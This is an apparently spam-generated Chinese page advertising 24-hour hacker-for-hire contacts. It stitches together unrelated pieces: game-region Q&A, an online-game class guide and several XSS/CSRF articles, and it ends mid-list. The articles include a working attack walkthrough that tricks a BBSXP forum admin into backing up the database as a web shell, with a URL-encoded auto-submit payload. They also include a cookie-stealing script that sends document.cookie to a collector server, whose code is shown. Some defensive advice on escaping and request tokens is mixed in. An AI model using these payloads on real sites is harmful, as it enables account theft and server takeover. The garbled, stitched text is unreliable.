黑客24小时在线接单网站

怎么联系真的黑客,24小时在线黑客联系方式,24小时在线联系黑客,正规黑客私人接单,黑客QQ联系方式

xss哪个区好(xss选择地区)

本文导读目录:

xss怎么买低价区游戏

方法

①夏促,差不多每年六月中旬开启,持续20天左右,是时间最长的一次促销(去年的夏促真的拉胯,折扣力度不大,但是背景商城真香;今年的力度还是蛮大的,6.25就开始了~)②万圣节促销,就万圣节那段时间,一两天的样子,基本都是恐怖游戏,喜欢逃生,纸人之类恐怖游戏的玩家不要错过③秋季促销/黑色星期五,差不多11月中下旬,每年这个时候差不多该游戏评奖了④圣诞节促销,全年力度最大的促销活动(理论上),就是圣诞节前后一共两周的样子⑤春节促销,大概春节前后⑥剩下就是厂家促销了,还有双十一什么的

xss换地区机子游戏还会在吗

在。

switcheshop换区后,之前购买的游戏还保留着。换了账号不需要重新购买,但如果彻底删除游戏需要重新下载的话,就要切回原来的服务器,换句话说,购买记录只存在于对应的服务器。另外有一些特殊情况,比如买A送B,那么你要切到买A的那个服来领取B。

xss居住地怎么选

设备系统中的居住地可以随便选,无所谓,

关键是注册账号的时候的居住地选择的是什么国家就要用那个国家的商店,游玩游戏的时候的服务器只跟账号选择的地区相关。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。

最近网上流行的XSS是什么意思

就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的制作,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。

我想知道QQ自由幻想在什么区玩最好?

我来回答:一.属性点

力量:影响攻击以及负重,每2点力量加1点的大小攻击同时负重增加大概50

体质:影响最大生命值,每1点体质增加9点生命值

敏捷:影响防御,每2点敏捷属性增加1的防御

灵巧:影响命中,每2点灵巧增加1的命中

智慧:影响魔法攻击力,每2点智慧增加1的魔攻

精神:影响魔法防御,每2点精神增加1的魔防

每次升级会有2点属性点可以自由分配,从1级到60级一共是2*59=118点。

分析:

首先指出QQ自由幻想中刺客职业是非法系玩家,那就意味加智慧精神两种属性点很不应该,所以我们通过排除法在6种属性点里面把智慧跟精神首先剔除;刺客是高防御职业,而2属性点才增加1点防御好象作用也不大,接着我们把敏捷属性也撂倒;灵巧,对于2灵巧1命中的取舍基本同敏捷一样,能起的作用不大,可是刺客用武器对灵巧有要求,解决办法有两种,一是通过灵巧属性的装备进行加给,只要能加够灵巧的就行了,二是直接加角色属性点,建议通过灵巧装备解决武器拿上问题上。上述是对六种属性点的四票否决,剩下力量,体质。那就是对高攻击和厚血的取舍了,当然多跟少是一个对比名词,在相对条件下集合资源也可以有一个量的放大,得到我们想要的效果,没错,就是我们想要的如果,根据各人的喜好,差异从此而来,我们知道2力量是1点攻击跟50的负重,1体质是9生命点,从1 级到60级将得到118的属性点,换句话说如果是全力形刺客到60级将从自由属性点上得到118的力量是59的大小攻击和2950左右的负重;如果是体质型的刺客在118的自由属性点上可以得到1062的生命,但凡游戏设置出来的东西都有它的合理性,这里仍然需要按个人喜欢来操作执行,在此我们也不跟其他游戏角色进行对比,结论是刺客玩家在属性点分配上可以依据个人喜好选择力量型或者体质型,那是各有特色各有好处的。

结论:加力量或者体质。

穿武器解决方式:

选择力量或者体质加点法后,肯定是不够灵巧拿武器的,解决这个问题的方式为:穿其他加灵巧的垃圾装备。

1.平时打到加灵巧的小装备存起来备用。

2.把新手服拿10个火铜打孔,加一张10左右的灵巧卡。

穿上武器后再把垃圾装备换下来就可以了。

3,如果全加力量也会因为体质不够而穿不上相应的衣服,按上面的方法打上体质加10左右的卡片。

友情提醒:

QQ自由幻想中洗属性点的方式有两种:

1.重生水晶,一次就可以把所有已经加的属性全洗出来。EX:60级玩家无论你属性点是怎样加的,使用重生水晶后将得到118点自由属性点。

2.豹胎易筋丸,分为力量,体质,智慧,敏捷,灵巧,精神六种,对应人物的6种不同属性,每个可以洗相应技能点3点。EX:使用一个豹胎易筋丸(力量),可以把已经加到力量上的自由属性点洗出3点。(前提当然是您已经加了大于等于3点的力量)

重生水晶是稀有物品,游戏中很少爆。豹胎易筋丸可以用神恩合成,每16个神恩合成一个豹胎易筋丸,但目前神恩也是稀有物品。

因此,希望大家加点的时候谨慎!

二.技能点:

到60级做完5张仙符任务和魔眼石任务一共可以得到51+5+1=57点技能点。

刺客可用武器两种,近距离攻击的双刃和远距离的暗器,还有辅助技能,下面我们对技能点修炼进行分析

刃器技能有:

双刃修炼:使用双刃时攻击力提升百分3,每升一级攻击提升百分3

倾力一击:造成百分130伤害,概率击昏对手5秒,每升一级击昏时间延长1秒

反击术:成功躲避敌人的时候百分40的几率反击对手,每升一级反射纪律增加百分3

隐身术:阴身30秒移动速度降低百分25伤害提升百分35,每生一级增加2秒阴身,增加5移动速度,提升25伤害

进阶隐身:增加隐身时限2秒,移动速度上升百分5,伤害增加百分5,每升一级隐身时限增加2秒,移动速度增加百分5,伤害增加百分5

背刺:只能在隐身时使用,百分百命中,造成百分300的伤害,每升一级伤害增加百分10

进阶背刺:使用背刺时百分20几率不终止隐身状态,百分5几率击昏敌人,每升一级提高不背刺时不打断隐身几率百分5

偷窃术:百分21发生偷窃判定,按照该怪物掉宝几率获得物品,每升一级偷窃判定增加百分7

暗杀术:百分百命中,造成百分之400伤害,百分5几率发生即死判定

暗器技能有:

暗器修炼:使用暗器时提升攻击力百分3,每升一级攻击力加百分3

暗器回收:使用暗器类武器耐久度消耗降低,每升一级效果增大

狙击:造成百分135伤害,5%概率使敌人无法移动5秒,每升一级伤害提升百分5

连续投掷:远程射击,对敌人造成百分150伤害,每升一级伤害提升百分5

雷火弹:造成百分160伤害并震退敌人,每升一级伤害提升5

多重投掷:对120度角200象素范围内敌人造成145伤害,每升一级伤害加5

烟雾弹:降低敌人命中,魔法攻击力百分30,每升一级,降低敌人魔法攻击力百分5

环形爆发:对自己为中心的200环行范围内对敌人造成百分180伤害,每升一级伤害加5

爆发冲击:使环形爆发的百分10几率震退敌人

上述是游戏对刺客主修技能点的描述,我们从中可能看出刺客主修技能的两种支系,既然是自由加点那就说明没什么准则可言,只要根据个人喜欢根据个人理解对其加点就是没错的,各人有各人的道,游戏上没有真理可言,加错别人认为不对的点系统不会瘫痪,角色不会断脚少手依然,如果有玩家对游戏设置的技能点描述因汉语言缺陷而不能理解或者未经实际操作不知其具体表现,本人可以提供自己拙漏的技能点加法以供参考,由于技能点是递进学习法,学了前一个才有后一个而不能越级学习,那只能在技能里挑些更有利于刺客职业游戏运用的来进行多加和加满.

本人建议刺客双修:

双刃技能:双刃修炼5点,隐身5点,进阶隐身5点,其他可以一点

暗器技能:暗器修炼5点,多重投掷5点,环形爆发5点,其他可以一点,暗器回收可以是辅助技能,刺客职业的很大亮点除能隐身外就是能毒能放炸弹了,这在辅助技能里面学得放毒跟放炸弹,其实每个技能都有相对的汉语言描述了,在这我也稍稍说一下,其实都可以加一点的,淬毒术对低级很好用,解除陷阱在试练的时候挺好用,炸弹加到5在天泉刷等级伤害可以高些,毒雾是算分钟掉血多几十的,封印,冰弹是升一延长状态一秒的,总之按个人喜好愉悦游戏那才是最终目的。

说明:

1.多重投掷和反击根据个人喜欢好,一般是一个加5,另一个就只加1。

2.喜欢炸弹的,可以把炸弹加5,喜欢冰的可以把冰多加点。

3.不试练的话目前基本没有必要学侦测陷阱和解除陷阱。

4.雷火弹用途于弹怪封印,推BOSS。(50的平行世界60的,38的,会出比较厉害状态的BOSS,试练的时候也可以把怪往雷上推。)

5.注意留出技能点学60技能书的技能。

洗技能点

属性点的道具为遗忘之石,在野外打BOSS会掉,货架也有得卖。

三.刺客升级方法:

要升级的途径是取得足量经验,一个硕大的自由幻想世界,那可真像有句话叫条条大道通罗马,本人没有绝对省时省力省钱的升级方法,那只有提供下自己的升级方法供看客们以供参考了:

1 到20级靠任务经验升级,从桃村的到长乐村的有不少的小任务,通过打小怪跑小任务就可以一直上等级了,龙城的任务也是不少,玩家可以通过任务栏看到,10 级后仓库管理员那里每天可以领到10个宝箱,结合货架的钥匙可以开出绑定的小道具和一些蟠桃,蟠桃是得经验的,还有货架上星级许愿石也能开出绑定的装备和蟠桃。还有12级就可以参加试练,低等级打怪半天怕也完成不了一次,有高级的带下是最好的了。

20级可以到龙城的三清真人修炼元神了,跟打怪相比元神修炼省力不少。也可以用双刃去杀蜗牛,蛇等,收集品都可以挣钱的。一直到25级刺客能学到炸弹了,有空可以找找相对等级的怪物炸下玩玩。在 38以前刺客的升级都是不快的,修炼元神是一种提速的方法,出云修罗殿炸僵尸,天都上天郊炸QQ糖,天都仙台东炸火精灵在相对等级下也是刺客玩家一种很好的升级方法。

到38了,可以进入从天都二郎神处进入天空之泉,在那里可以快速升级了,条件是一个引怪抗怪的剑客,一个放冰炸弹的刺客,加上你。到45级可以学到冻气了,那升级更快了,还是天空之泉,只要一个引怪抗怪的剑客跟你搭档就可以一直刷到48到50了,到50后了由于跟天泉怪物等级差异导致经验下降,那时候还是可以刷天泉的,不过那时候得跟小号刺客38到44的一起互利一下了,组上一个引怪抗怪的剑客和一到几个小刺客就能一直刷到 60级满了。一个硕大的自由幻想世界玩法是很多的,在45后在楼兰的蚂蚁沙地可以炸蚂蚁,50多后可以楼兰刷地宫,等等等等。

友情提醒:

因为后期戴法宝需要的名誉较高,所以建议在低级的时候先把名誉刷够了再升级。

四.刺客赚钱

刺客虽然攻不高,但速率快,同时拥有隐身这一技能,所以完全可以单刷平行世界里的BOSS,八仙、纯阳,甚至是天泉,失落,神殿。虽说平行世界暗雷可以破隐身,但操作好的完全能克服。

51级学了环暴和偷窃,不管是练级还隐身专门偷取任务品都是其他职业无可相其媲美的,特别是现在相对几个名誉任务材料品比较难暴,更是刺客赚钱的好机会。

高级刺客去偷材料的时候最好带上一个和怪物等级相当的小朋友一起去,可以增加概率。

补充:赚钱最快应该是商人,所谓商人就是倒买倒卖,常到记者站看下小记的物价稿子很快就能成精明商人。

五.刺客单刷

我个人是不赞成单刷的,不利于团队精神的培养,费药和时间,但不少玩家问,所以还是简单的说下。

1.单刷试练

首先5个刺客上去先把中间的BOSS杀掉,一个一个的来,注意保护自己,谁没血了赶紧跑,杀光BOSS就分头去,一人一个岛屿单刷。

刺客拿着双刃,走到地图门口,放八个雷,冰雷跟爆弹重叠,最后一个放个冰雷逃命用。然后引怪,把怪全拉一块儿来,引怪踩雷!

拿暗器,用环形+冰+多重。这样中间要补雷,保证冰破了,又被冻上!

2.单刷天泉一

用双刃。双刃有反击,相对安全点。拉怪冰(一直跑就可以),冰(回头冰的时候要保证冰80%以上怪,接着隐身到怪中间冰),放满8个蛋,破3个怪的冰,拉着踩炸弹,踩3~6个,再放满,重复操作。

用暗器,拉怪—放冰—爆—封,3种放满8个,然后跑出怪的范围,一个散射(多重投掷),怪破冰同时踩到炸弹封弹冰弹再次被冰,接着重复操作。

刺客单刷天泉一般分3到4次刷完,多了容易挂。

3.单刷仙器/套装

落日西

刷这里的时候可以顺便接刷名誉的任务,然后从荣光使者那花50Y直接传送到目的地。

刷1楼3个石头以及名誉怪的方式都差不多,隐身,跑到要刷的怪旁边,在要刷的怪旁边放封雷,折磨要刷的怪,期间如果出了小怪,先解决小怪,再折磨大怪。

二楼是刷暗之沙魔侍卫、暗之阿卡哈之眼。一般是冰住你要打的怪后再打,利用冰增加攻击。小怪能不打就不打,如果是影响刷大怪的小怪就先清掉影响你的小怪。封—冰—拉——折磨。

三楼是刷啊卡哈,一共3个形态,第2和3个形态会爆套装。第一个形态会攻击反射,需要用暗器打。第二个形态会晕。打完第2个怪,先打崩溃的空间,打他之前在它下面放上冰雷,打了它后第三个形态会在他下面刷出来。

补充:

1.不刷天之峰是因为那里掉的是第一代仙器,没有第二代的好。

综上述是本人对刺客职业属性点技能点升级的小小攻略,本人之文章并未涉学术谨以供参考借鉴,本人才疏学浅游戏不精不能提供甚好若全方位的见解,看官若对其表示歧异予以抨击本人将对中国强制九年义务教育成果表示质疑,就此,祝玩家游戏快乐。 19234希望对你有用!

xss注入漏洞产生的原因?xss注入过程步骤是什么?防范xss注入的方法有哪些

对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的。现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心。请记住两条原则:过滤输入和转义输出。

一、什么是XSS

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。

在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。

二、XSS攻击的主要途径

XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。

第一种:对普通的用户输入,页面原样内容输出。

打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:scriptalert(‘xss’)/script, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=scriptalert(‘xss’) lt;/script,并对JSCODE做适当伪装,如:

http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。

第二种:在代码区里有用户输入的内容

原则就是,代码区中,绝对不应含有用户输入的东西。

第三种:允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

1,直接使用JS脚本。

img src=”javascript:alert(‘xss’)” /

2,对JS脚本进行转码。

img src=”javascript:alert(‘xss’)” /

3,利用标签的触发条件插入代码并进行转码。

img onerror=”alert(‘xss’)” /

4,使用16进制来写(可以在傲游中运行)

img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″

以上写法等于img STYLE=”background-image: url(javascript:alert(‘XSS’))”

三、XSS攻击解决办法

请记住两条原则:过滤输入和转义输出。

具体执行的方式有以下几点:

第一、在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等

第二、在输出方面,在用户输内容中使用XMP标签。标签内的内容不会解释,直接显示。

第三、严格执行字符输入字数控制。

四、在脚本执行区中,应绝无用户输入。

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

